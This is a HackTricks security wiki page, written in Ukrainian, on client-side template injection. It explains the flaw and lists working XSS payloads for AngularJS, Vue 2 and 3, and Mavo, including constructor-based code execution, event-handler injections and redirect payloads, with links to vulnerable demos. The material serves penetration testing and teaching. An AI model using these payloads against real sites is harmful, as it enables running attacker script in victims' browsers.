Client Side Template Injection (CSTI)

Support HackTricks

Summary

Це схоже на Server Side Template Injection, але на клієнті. SSTI може дозволити вам виконати код на віддаленому сервері, CSTI може дозволити вам виконати довільний JavaScript код у браузері жертви.

Тестування на наявність цієї вразливості дуже схоже на випадок SSTI, інтерпретатор очікує шаблон і виконає його. Наприклад, з корисним навантаженням на кшталт {{ 7-7 }}, якщо додаток вразливий, ви побачите 0, а якщо ні, ви побачите оригінал: {{ 7-7 }}

AngularJS

AngularJS - це широко використовуваний JavaScript фреймворк, який взаємодіє з HTML через атрибути, відомі як директиви, однією з яких є ng-app. Ця директива дозволяє AngularJS обробляти HTML вміст, що дозволяє виконувати JavaScript вирази всередині подвійних фігурних дужок.

У ситуаціях, коли введення користувача динамічно вставляється в HTML тіло, позначене ng-app, можливо виконати довільний JavaScript код. Це можна досягти, використовуючи синтаксис AngularJS у введенні. Нижче наведені приклади, які демонструють, як можна виконати JavaScript код:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Ви можете знайти дуже базовий онлайн приклад вразливості в AngularJS за посиланням http://jsfiddle.net/2zs2yv7o/ та в Burp Suite Academy

Angular 1.6 видалив пісочницю, тому з цієї версії корисне навантаження, таке як {{constructor.constructor('alert(1)')()}} або <input ng-focus=$event.view.alert('XSS')>, повинно працювати.

VueJS

Ви можете знайти вразливу реалізацію Vue за посиланням https://vue-client-side-template-injection-example.azu.now.sh/ Працююче навантаження: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

А джерело вразливого прикладу тут: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Дуже хороший пост про CSTI у VUE можна знайти за посиланням https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Кредит: Гарет Хейс, Льюїс Ардерн та PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Перевірте більше VUE payloads на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Більше пейлоадів у https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Список виявлення брутфорсу

Підтримайте HackTricks

Last updated